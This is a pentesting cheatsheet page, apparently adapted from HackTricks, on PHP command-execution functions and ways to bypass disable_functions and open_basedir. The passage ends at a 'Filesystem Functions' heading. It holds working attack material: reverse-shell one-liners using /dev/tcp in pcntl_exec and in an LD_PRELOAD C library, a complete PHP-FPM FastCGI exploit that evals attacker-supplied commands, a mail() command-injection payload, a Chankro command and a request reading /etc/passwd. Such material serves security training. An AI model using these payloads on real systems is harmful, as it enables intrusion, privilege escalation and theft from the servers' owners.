daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (33651B)


      1 ---
      2 title: "PHP - Useful Functions & disablefunctions/openbasedir bypass"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # PHP - Useful Functions & disable_functions/open_basedir bypass
     14 
     15 ## PHP Command & Code Execution
     16 
     17 ### PHP Command Execution
     18 
     19 **Note:** [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) can automatically identify available command-execution functions when others are disabled.
     20 
     21 **exec** - Returns last line of commands output
     22 
     23 ```bash
     24 echo exec("uname  -a");
     25 ```
     26 
     27 **passthru** - Passes commands output directly to the browser
     28 
     29 ```bash
     30 echo passthru("uname -a");
     31 ```
     32 
     33 **system** - Passes commands output directly to the browser and returns last line
     34 
     35 ```bash
     36 echo system("uname -a");
     37 ```
     38 
     39 **shell_exec** - Returns commands output
     40 
     41 ```bash
     42 echo shell_exec("uname -a");
     43 ```
     44 
     45 \`\` (backticks) - Same as shell_exec()
     46 
     47 ```bash
     48 echo `uname -a`
     49 ```
     50 
     51 **popen** - Opens read or write pipe to process of a command
     52 
     53 ```bash
     54 echo fread(popen("/bin/ls /", "r"), 4096);
     55 ```
     56 
     57 **proc_open** - Similar to popen() but greater degree of control
     58 
     59 ```bash
     60 proc_close(proc_open("uname -a",array(),$something));
     61 ```
     62 
     63 **preg_replace**
     64 
     65 The `/e` modifier shown below is a legacy PHP 5 technique; it was removed in PHP 7.0.
     66 
     67 ```php
     68 <?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
     69 ```
     70 
     71 **pcntl_exec** - Executes a program (by default in modern and not so modern PHP you need to load the `pcntl.so` module to use this function)
     72 
     73 ```bash
     74 pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
     75 ```
     76 
     77 **mail / mb_send_mail** - This function is used to send mails, but it can also be abused to inject arbitrary commands inside the `$options` parameter. This is because **php `mail` function** usually call `sendmail` binary inside the system and it allows you to **put extra options**. However, you won't be able to see the output of the executed command, so it's recommended to create shell script that writes the output to a file, execute it using mail, and print the output:
     78 
     79 ```bash
     80 file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
     81 ```
     82 
     83 **dl** - This function can be used to dynamically load a PHP extension. This function won't be present always, so you should check if it's available before trying to exploit it. Read[ this page to learn how to exploit this function](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-dl-function).
     84 
     85 ### PHP Code Execution
     86 
     87 Apart from eval there are other ways to execute PHP code: include/require can be used for remote code execution in the form of Local File Include and Remote File Include vulnerabilities.
     88 
     89 ```php
     90 ${<php code>}              // Legacy interpolation contexts only; ordinary reflection in a string is not enough.
     91 eval()
     92 assert()                   // String evaluation was removed in PHP 8.0.
     93 preg_replace('/.*/e',...)  // Legacy: /e evaluated the replacement; removed in PHP 7.0.
     94 create_function()          // Legacy eval-based function creation; removed in PHP 8.0.
     95 include()
     96 include_once()
     97 require()
     98 require_once()
     99 $_GET['func_name']($_GET['argument']);
    100 
    101 $func = new ReflectionFunction($_GET['func_name']);
    102 $func->invoke();
    103 // or
    104 $func->invokeArgs(array());
    105 
    106 // or serialize/unserialize function
    107 ```
    108 
    109 ## disable_functions & open_basedir
    110 
    111 **`disable_functions`** is an INI setting that prevents direct use of named internal functions. **`open_basedir`** restricts PHP filesystem operations to configured directory trees; it is an additional safeguard, not a complete operating-system sandbox.\
    112 These settings are commonly configured in a `php.ini` or a scanned directory such as `/etc/php/7.x/*/conf.d/`.
    113 
    114 Both configurations appear in **`phpinfo()`** output:
    115 
    116 ![PHP Code Execution - disable functions & open basedir: Both configuration can be seen in the output of phpinfo()](https://0xrick.github.io/images/hackthebox/kryptos/17.png)
    117 
    118 ![PHP Code Execution - disable functions & open basedir: Both configuration can be seen in the output of phpinfo()](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28493%29.png)
    119 
    120 ## open_basedir Bypass
    121 
    122 `open_basedir` restricts path-based PHP filesystem operations outside its configured trees, including many reads, writes, and directory listings. It does not constrain every extension or external process in the same way. If you can execute arbitrary PHP, test the following techniques against the target version and configuration.
    123 
    124 ### Listing dirs with glob:// bypass
    125 
    126 In this first example the `glob://` protocol with some path bypass is used:
    127 
    128 ```php
    129 <?php
    130 $file_list = array();
    131 $it = new DirectoryIterator("glob:///v??/run/*");
    132 foreach($it as $f) {
    133     $file_list[] = $f->__toString();
    134 }
    135 $it = new DirectoryIterator("glob:///v??/run/.*");
    136 foreach($it as $f) {
    137     $file_list[] = $f->__toString();
    138 }
    139 sort($file_list);
    140 foreach($file_list as $f){
    141         echo "{$f}<br/>";
    142 }
    143 ```
    144 
    145 **Note1**: In the path you can also use `/e??/*` to list `/etc/*` and any other folder.\
    146 **Note2**: It looks like part of the code is duplicated, but that's actually necessary!\
    147 **Note3**: This example is only useful to list folders not to read files
    148 
    149 ### Full open_basedir bypass abusing FastCGI
    150 
    151 If you want to **learn more about PHP-FPM and FastCGI** you can read the [first section of this page](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-fpm-fastcgi).\
    152 If **`php-fpm`** is configured you can abuse it to completely bypass **open_basedir**:
    153 
    154 ![Listing dirs with glob:// bypass - Full open basedir bypass abusing FastCGI: If php-fpm is configured you can abuse it to completely bypass open basedir](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28545%29.png)
    155 
    156 ![Listing dirs with glob:// bypass - Full open basedir bypass abusing FastCGI: If php-fpm is configured you can abuse it to completely bypass open basedir](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28577%29.png)
    157 
    158 First find the **PHP-FPM Unix socket**. It is commonly under `/var/run` or `/run`, so the preceding directory-listing code may locate it.\
    159 Code from [here](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy).<sup>[[1]](#references)</sup>
    160 
    161 ```php
    162 <?php
    163 /**
    164  * Note : Code is released under the GNU LGPL
    165  *
    166  * Please do not change the header of this file
    167  *
    168  * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
    169  * Lesser General Public License as published by the Free Software Foundation; either version 2 of
    170  * the License, or (at your option) any later version.
    171  *
    172  * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
    173  * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
    174  *
    175  * See the GNU Lesser General Public License for more details.
    176  */
    177 /**
    178  * Handles communication with a FastCGI application
    179  *
    180  * @author      Pierrick Charron <pierrick@webstart.fr>
    181  * @version     1.0
    182  */
    183 class FCGIClient
    184 {
    185     const VERSION_1            = 1;
    186     const BEGIN_REQUEST        = 1;
    187     const ABORT_REQUEST        = 2;
    188     const END_REQUEST          = 3;
    189     const PARAMS               = 4;
    190     const STDIN                = 5;
    191     const STDOUT               = 6;
    192     const STDERR               = 7;
    193     const DATA                 = 8;
    194     const GET_VALUES           = 9;
    195     const GET_VALUES_RESULT    = 10;
    196     const UNKNOWN_TYPE         = 11;
    197     const MAXTYPE              = self::UNKNOWN_TYPE;
    198     const RESPONDER            = 1;
    199     const AUTHORIZER           = 2;
    200     const FILTER               = 3;
    201     const REQUEST_COMPLETE     = 0;
    202     const CANT_MPX_CONN        = 1;
    203     const OVERLOADED           = 2;
    204     const UNKNOWN_ROLE         = 3;
    205     const MAX_CONNS            = 'MAX_CONNS';
    206     const MAX_REQS             = 'MAX_REQS';
    207     const MPXS_CONNS           = 'MPXS_CONNS';
    208     const HEADER_LEN           = 8;
    209     /**
    210      * Socket
    211      * @var Resource
    212      */
    213     private $_sock = null;
    214     /**
    215      * Host
    216      * @var String
    217      */
    218     private $_host = null;
    219     /**
    220      * Port
    221      * @var Integer
    222      */
    223     private $_port = null;
    224     /**
    225      * Keep Alive
    226      * @var Boolean
    227      */
    228     private $_keepAlive = false;
    229     /**
    230      * Constructor
    231      *
    232      * @param String $host Host of the FastCGI application
    233      * @param Integer $port Port of the FastCGI application
    234      */
    235     public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    236     {
    237         $this->_host = $host;
    238         $this->_port = $port;
    239     }
    240     /**
    241      * Define whether or not the FastCGI application should keep the connection
    242      * alive at the end of a request
    243      *
    244      * @param Boolean $b true if the connection should stay alive, false otherwise
    245      */
    246     public function setKeepAlive($b)
    247     {
    248         $this->_keepAlive = (boolean)$b;
    249         if (!$this->_keepAlive && $this->_sock) {
    250             fclose($this->_sock);
    251         }
    252     }
    253     /**
    254      * Get the keep alive status
    255      *
    256      * @return Boolean true if the connection should stay alive, false otherwise
    257      */
    258     public function getKeepAlive()
    259     {
    260         return $this->_keepAlive;
    261     }
    262     /**
    263      * Create a connection to the FastCGI application
    264      */
    265     private function connect()
    266     {
    267         if (!$this->_sock) {
    268             //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
    269             $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
    270             if (!$this->_sock) {
    271                 throw new Exception('Unable to connect to FastCGI application');
    272             }
    273         }
    274     }
    275     /**
    276      * Build a FastCGI packet
    277      *
    278      * @param Integer $type Type of the packet
    279      * @param String $content Content of the packet
    280      * @param Integer $requestId RequestId
    281      */
    282     private function buildPacket($type, $content, $requestId = 1)
    283     {
    284         $clen = strlen($content);
    285         return chr(self::VERSION_1)         /* version */
    286             . chr($type)                    /* type */
    287             . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
    288             . chr($requestId & 0xFF)        /* requestIdB0 */
    289             . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
    290             . chr($clen & 0xFF)             /* contentLengthB0 */
    291             . chr(0)                        /* paddingLength */
    292             . chr(0)                        /* reserved */
    293             . $content;                     /* content */
    294     }
    295     /**
    296      * Build an FastCGI Name value pair
    297      *
    298      * @param String $name Name
    299      * @param String $value Value
    300      * @return String FastCGI Name value pair
    301      */
    302     private function buildNvpair($name, $value)
    303     {
    304         $nlen = strlen($name);
    305         $vlen = strlen($value);
    306         if ($nlen < 128) {
    307             /* nameLengthB0 */
    308             $nvpair = chr($nlen);
    309         } else {
    310             /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
    311             $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
    312         }
    313         if ($vlen < 128) {
    314             /* valueLengthB0 */
    315             $nvpair .= chr($vlen);
    316         } else {
    317             /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
    318             $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
    319         }
    320         /* nameData & valueData */
    321         return $nvpair . $name . $value;
    322     }
    323     /**
    324      * Read a set of FastCGI Name value pairs
    325      *
    326      * @param String $data Data containing the set of FastCGI NVPair
    327      * @return array of NVPair
    328      */
    329     private function readNvpair($data, $length = null)
    330     {
    331         $array = array();
    332         if ($length === null) {
    333             $length = strlen($data);
    334         }
    335         $p = 0;
    336         while ($p != $length) {
    337             $nlen = ord($data{$p++});
    338             if ($nlen >= 128) {
    339                 $nlen = ($nlen & 0x7F << 24);
    340                 $nlen |= (ord($data{$p++}) << 16);
    341                 $nlen |= (ord($data{$p++}) << 8);
    342                 $nlen |= (ord($data{$p++}));
    343             }
    344             $vlen = ord($data{$p++});
    345             if ($vlen >= 128) {
    346                 $vlen = ($nlen & 0x7F << 24);
    347                 $vlen |= (ord($data{$p++}) << 16);
    348                 $vlen |= (ord($data{$p++}) << 8);
    349                 $vlen |= (ord($data{$p++}));
    350             }
    351             $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
    352             $p += ($nlen + $vlen);
    353         }
    354         return $array;
    355     }
    356     /**
    357      * Decode a FastCGI Packet
    358      *
    359      * @param String $data String containing all the packet
    360      * @return array
    361      */
    362     private function decodePacketHeader($data)
    363     {
    364         $ret = array();
    365         $ret['version']       = ord($data{0});
    366         $ret['type']          = ord($data{1});
    367         $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
    368         $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
    369         $ret['paddingLength'] = ord($data{6});
    370         $ret['reserved']      = ord($data{7});
    371         return $ret;
    372     }
    373     /**
    374      * Read a FastCGI Packet
    375      *
    376      * @return array
    377      */
    378     private function readPacket()
    379     {
    380         if ($packet = fread($this->_sock, self::HEADER_LEN)) {
    381             $resp = $this->decodePacketHeader($packet);
    382             $resp['content'] = '';
    383             if ($resp['contentLength']) {
    384                 $len  = $resp['contentLength'];
    385                 while ($len && $buf=fread($this->_sock, $len)) {
    386                     $len -= strlen($buf);
    387                     $resp['content'] .= $buf;
    388                 }
    389             }
    390             if ($resp['paddingLength']) {
    391                 $buf=fread($this->_sock, $resp['paddingLength']);
    392             }
    393             return $resp;
    394         } else {
    395             return false;
    396         }
    397     }
    398     /**
    399      * Get Informations on the FastCGI application
    400      *
    401      * @param array $requestedInfo information to retrieve
    402      * @return array
    403      */
    404     public function getValues(array $requestedInfo)
    405     {
    406         $this->connect();
    407         $request = '';
    408         foreach ($requestedInfo as $info) {
    409             $request .= $this->buildNvpair($info, '');
    410         }
    411         fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
    412         $resp = $this->readPacket();
    413         if ($resp['type'] == self::GET_VALUES_RESULT) {
    414             return $this->readNvpair($resp['content'], $resp['length']);
    415         } else {
    416             throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
    417         }
    418     }
    419     /**
    420      * Execute a request to the FastCGI application
    421      *
    422      * @param array $params Array of parameters
    423      * @param String $stdin Content
    424      * @return String
    425      */
    426     public function request(array $params, $stdin)
    427     {
    428         $response = '';
    429         $this->connect();
    430         $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
    431         $paramsRequest = '';
    432         foreach ($params as $key => $value) {
    433             $paramsRequest .= $this->buildNvpair($key, $value);
    434         }
    435         if ($paramsRequest) {
    436             $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
    437         }
    438         $request .= $this->buildPacket(self::PARAMS, '');
    439         if ($stdin) {
    440             $request .= $this->buildPacket(self::STDIN, $stdin);
    441         }
    442         $request .= $this->buildPacket(self::STDIN, '');
    443         fwrite($this->_sock, $request);
    444         do {
    445             $resp = $this->readPacket();
    446             if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
    447                 $response .= $resp['content'];
    448             }
    449         } while ($resp && $resp['type'] != self::END_REQUEST);
    450         var_dump($resp);
    451         if (!is_array($resp)) {
    452             throw new Exception('Bad request');
    453         }
    454         switch (ord($resp['content']{4})) {
    455             case self::CANT_MPX_CONN:
    456                 throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
    457                 break;
    458             case self::OVERLOADED:
    459                 throw new Exception('New request rejected; too busy [OVERLOADED]');
    460                 break;
    461             case self::UNKNOWN_ROLE:
    462                 throw new Exception('Role value not known [UNKNOWN_ROLE]');
    463                 break;
    464             case self::REQUEST_COMPLETE:
    465                 return $response;
    466         }
    467     }
    468 }
    469 ?>
    470 <?php
    471 // real exploit start here
    472 if (!isset($_REQUEST['cmd'])) {
    473     die("Check your input\n");
    474 }
    475 if (!isset($_REQUEST['filepath'])) {
    476     $filepath = __FILE__;
    477 }else{
    478     $filepath = $_REQUEST['filepath'];
    479 }
    480 $req = '/'.basename($filepath);
    481 $uri = $req .'?'.'command='.$_REQUEST['cmd'];
    482 $client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
    483 $code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
    484 $php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
    485 //$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
    486 $params = array(
    487         'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    488         'REQUEST_METHOD'    => 'POST',
    489         'SCRIPT_FILENAME'   => $filepath,
    490         'SCRIPT_NAME'       => $req,
    491         'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
    492         'REQUEST_URI'       => $uri,
    493         'DOCUMENT_URI'      => $req,
    494 #'DOCUMENT_ROOT'     => '/',
    495         'PHP_VALUE'         => $php_value,
    496         'SERVER_SOFTWARE'   => '80sec/wofeiwo',
    497         'REMOTE_ADDR'       => '127.0.0.1',
    498         'REMOTE_PORT'       => '9985',
    499         'SERVER_ADDR'       => '127.0.0.1',
    500         'SERVER_PORT'       => '80',
    501         'SERVER_NAME'       => 'localhost',
    502         'SERVER_PROTOCOL'   => 'HTTP/1.1',
    503         'CONTENT_LENGTH'    => strlen($code)
    504         );
    505 // print_r($_REQUEST);
    506 // print_r($params);
    507 //echo "Call: $uri\n\n";
    508 echo $client->request($params, $code)."\n";
    509 ?>
    510 ```
    511 
    512 This script communicates with the **PHP-FPM Unix socket** to execute a request with attacker-supplied FastCGI parameters. The sent **`PHP_VALUE`** can override per-directory settings such as `open_basedir` when the FPM pool and target script permit the request.\
    513 Note how `eval` is used to execute the PHP code you send inside the **cmd** parameter.\
    514 Also note the **commented line 324**, you can uncomment it and the **payload will automatically connect to the given URL and execute the PHP code** contained there.\
    515 Just access `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` to get the content of the `/etc/passwd` file.
    516 
    517 > [!WARNING]
    518 > You may be thinking that just in the same way we have overwritten `open_basedir` configuration we can **overwrite `disable_functions`**. Well, try it, but it won't work, apparently **`disable_functions` can only be configured in a `.ini` php** configuration file and the changes you perform using PHP_VALUE won't be effective on this specific setting.
    519 
    520 ## disable_functions Bypass
    521 
    522 If you manage have PHP code executing inside a machine you probably want to go to the next level and **execute arbitrary system commands**. In this situation is usual to discover that most or all the PHP **functions** that allow to **execute system commands have been disabled** in **`disable_functions`.**\
    523 The following techniques may bypass the restriction when their prerequisites are present.
    524 
    525 ### Automatic bypass discovery
    526 
    527 You can use the tool [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) and it will indicate you which function (if any) you can use to **bypass** **`disable_functions`**.
    528 
    529 ### Bypassing using other system functions
    530 
    531 Just return to the beginning of this page and **check if any of the command executing functions isn't disabled and available in the environment**. If you find just 1 of them, you will be able to use it to execute arbitrary system commands.
    532 
    533 ### LD_PRELOAD bypass
    534 
    535 Some PHP functions, such as certain `mail()` configurations, invoke external binaries. If PHP can set `LD_PRELOAD` and launch a dynamically linked child process without the variable being stripped, an attacker may force that process to load a malicious library.
    536 
    537 #### Functions that can be used to bypass disable_functions with LD_PRELOAD
    538 
    539 - **`mail`**
    540 - **`mb_send_mail`**: Effective when the `php-mbstring` module is installed.
    541 - **`imap_mail`**: Works if `php-imap` module is present.
    542 - **`libvirt_connect`**: Requires the `php-libvirt-php` module.
    543 - **`gnupg_init`**: Utilizable with the `php-gnupg` module installed.
    544 - **`new imagick()`**: This class can be abused to bypass restrictions. Detailed exploitation techniques can be found in a comprehensive [**writeup here**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/).<sup>[[2]](#references)</sup>
    545 
    546 You can [**find here**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) the fuzzing script that was used to find those functions.
    547 
    548 Here is a library you can compile to abuse the `LD_PRELOAD` env variable:
    549 
    550 ```php
    551 #include <unistd.h>
    552 #include <sys/types.h>
    553 #include <stdio.h>
    554 #include <stdlib.h>
    555 
    556 uid_t getuid(void){
    557 	unsetenv("LD_PRELOAD");
    558 	system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
    559 	return 1;
    560 }
    561 ```
    562 
    563 #### Bypass using Chankro
    564 
    565 To automate this chain, you can use [**Chankro**](https://github.com/TarlogicSecurity/Chankro), which generates a PHP exploit to upload and invoke through the vulnerable application.\
    566 **Chankro** writes the library and payload to the victim's disk, then uses the **`LD_PRELOAD` technique and PHP `mail()`** to execute the payload.
    567 
    568 Note that in order to use **Chankro**, `mail` and `putenv` **cannot appear inside the `disable_functions` list**.\
    569 The following example creates a 64-bit Chankro exploit that runs `whoami` and saves its output in `/tmp/chankro_shell.out`. Chankro writes the library and payload under `/tmp`, and produces `bicho.php` for upload to the target:
    570 
    571 ### shell.sh
    572 ```php
    573 #!/bin/sh
    574 whoami > /tmp/chankro_shell.out
    575 ```
    576 
    577 ### Chankro
    578 ```bash
    579 python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
    580 ```
    581 
    582 
    583 If you find that **mail** function is blocked by disabled functions, you may still be able to use the function **mb_send_mail.**\
    584 More information about this technique and Chankro here: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/)<sup>[[3]](#references)</sup>
    585 
    586 ### "Bypass" using PHP capabilities
    587 
    588 Note that using **PHP** you can **read and write files, create directories and change permissions**.\
    589 You can even **dump databases**.\
    590 Maybe using **PHP** to **enumerate** the box you can find a way to escalate privileges/execute commands (for example reading some private ssh key).
    591 
    592 The [phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) project makes these filesystem and enumeration actions easier; many other web shells expose similar operations.
    593 
    594 ### Modules/Version dependent bypasses
    595 
    596 There are several ways to bypass disable_functions if some specific module is being used or exploit some specific PHP version:
    597 
    598 - [**FastCGI/PHP-FPM (FastCGI Process Manager)**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-fpm-fastcgi)
    599 - **FFI enabled:** unrestricted PHP FFI can call native-library functions directly, so it defeats a function-name blocklist. Web requests normally cannot use FFI under its default `preload` setting; the dangerous prerequisite is `ffi.enable=true` or an exposed preloaded FFI scope.<sup>[[5]](#references)</sup>
    600 - [**Bypass via mem**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-via-mem)
    601 - [**mod_cgi**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-mod-cgi)
    602 - [**PHP Perl Extension Safe_mode**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-perl-extension-safe-mode-bypass-exploit)
    603 - [**dl function**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-dl-function)
    604 - [**This exploit collection**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass) documents the following historical target ranges. Treat “all versions” as the repository author's contemporaneous claim and verify the exact PHP build before use:
    605   - 5.\* - exploitable with minor changes to the PoC
    606   - 7.0 - all versions to date
    607   - 7.1 - all versions to date
    608   - 7.2 - all versions to date
    609   - 7.3 - all versions to date
    610   - 7.4 - all versions to date
    611   - 8.0 - all versions to date
    612 - [**From 7.0 to 8.0 exploit (Unix only)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php)
    613 - [**PHP 7.0=7.4 (\*nix)**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-7-0-7-4-nix-only#php-7-0-7-4-nix-only)
    614 - [**Imagick 3.3.0 PHP >= 5.4**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-imagick-less-than-3-3-0-php-greater-than-5-4-exploit)
    615 - [**PHP 5.x Shellsock**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-php-5-x-shellshock-exploit)
    616 - [**PHP 5.2.4 ionCube**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-php-5-2-4-ioncube-extension-exploit)
    617 - [**PHP <= 5.2.9 Windows**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-less-than-5-2-9-on-windows)
    618 - [**PHP 5.2.4/5.2.5 cURL**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-5-2-4-and-5-2-5-php-curl)
    619 - [**PHP 5.2.3 -Win32std**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-5-2-3-win32std-ext-protections-bypass)
    620 - [**PHP 5.2 FOpen exploit**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-5-2-fopen-exploit)
    621 - [**PHP 4 >= 4.2.-, PHP 5 pcntl_exec**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-4-greater-than-4-2-0-php-5-pcntl-exec)
    622 
    623 ### **Automatic Tool**
    624 
    625 The following script tries some of the methods commented here:\
    626 [https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php)
    627 
    628 ## Other Interesting PHP functions
    629 
    630 ### List of functions which accept callbacks
    631 
    632 These functions accept a string parameter which could be used to call a function of the attacker's choice. Depending on the function the attacker may or may not have the ability to pass a parameter. In that case an Information Disclosure function like phpinfo() could be used.
    633 
    634 [Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php)
    635 
    636 [Following lists from here](https://stackoverflow.com/questions/3115559/exploitable-php-functions)<sup>[[4]](#references)</sup>
    637 
    638 ```php
    639 // Function => Position of callback arguments
    640 'ob_start' => 0,
    641 'array_diff_uassoc' => -1,
    642 'array_diff_ukey' => -1,
    643 'array_filter' => 1,
    644 'array_intersect_uassoc' => -1,
    645 'array_intersect_ukey' => -1,
    646 'array_map' => 0,
    647 'array_reduce' => 1,
    648 'array_udiff_assoc' => -1,
    649 'array_udiff_uassoc' => array(-1, -2),
    650 'array_udiff' => -1,
    651 'array_uintersect_assoc' => -1,
    652 'array_uintersect_uassoc' => array(-1, -2),
    653 'array_uintersect' => -1,
    654 'array_walk_recursive' => 1,
    655 'array_walk' => 1,
    656 'assert_options' => 1,
    657 'uasort' => 1,
    658 'uksort' => 1,
    659 'usort' => 1,
    660 'preg_replace_callback' => 1,
    661 'spl_autoload_register' => 0,
    662 'iterator_apply' => 1,
    663 'call_user_func' => 0,
    664 'call_user_func_array' => 0,
    665 'register_shutdown_function' => 0,
    666 'register_tick_function' => 0,
    667 'set_error_handler' => 0,
    668 'set_exception_handler' => 0,
    669 'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
    670 'sqlite_create_aggregate' => array(2, 3),
    671 'sqlite_create_function' => 2,
    672 ```
    673 
    674 ### Information Disclosure
    675 
    676 Most of these calls are not dangerous sinks by themselves. They become information-disclosure issues when an attacker controls their use or can view sensitive returned data. Exposed `phpinfo()` output is particularly valuable because it reveals configuration, paths, extensions, and environment details.
    677 
    678 ```php
    679 phpinfo
    680 posix_mkfifo
    681 posix_getlogin
    682 posix_ttyname
    683 getenv
    684 get_current_user
    685 proc_get_status
    686 get_cfg_var
    687 disk_free_space
    688 disk_total_space
    689 diskfreespace
    690 getcwd
    691 getlastmo
    692 getmygid
    693 getmyinode
    694 getmypid
    695 getmyuid
    696 ```
    697 
    698 ### Other
    699 
    700 ```php
    701 extract    // Opens the door for register_globals attacks (see study in scarlet).
    702 parse_str  // works like extract if only one argument is given.
    703 putenv
    704 ini_set
    705 mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
    706 header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
    707 proc_nice
    708 proc_terminate
    709 proc_close
    710 pfsockopen
    711 fsockopen
    712 apache_child_terminate
    713 posix_kill
    714 posix_mkfifo
    715 posix_setpgid
    716 posix_setsid
    717 posix_setuid
    718 ```
    719 
    720 ### Filesystem Functions
    721 
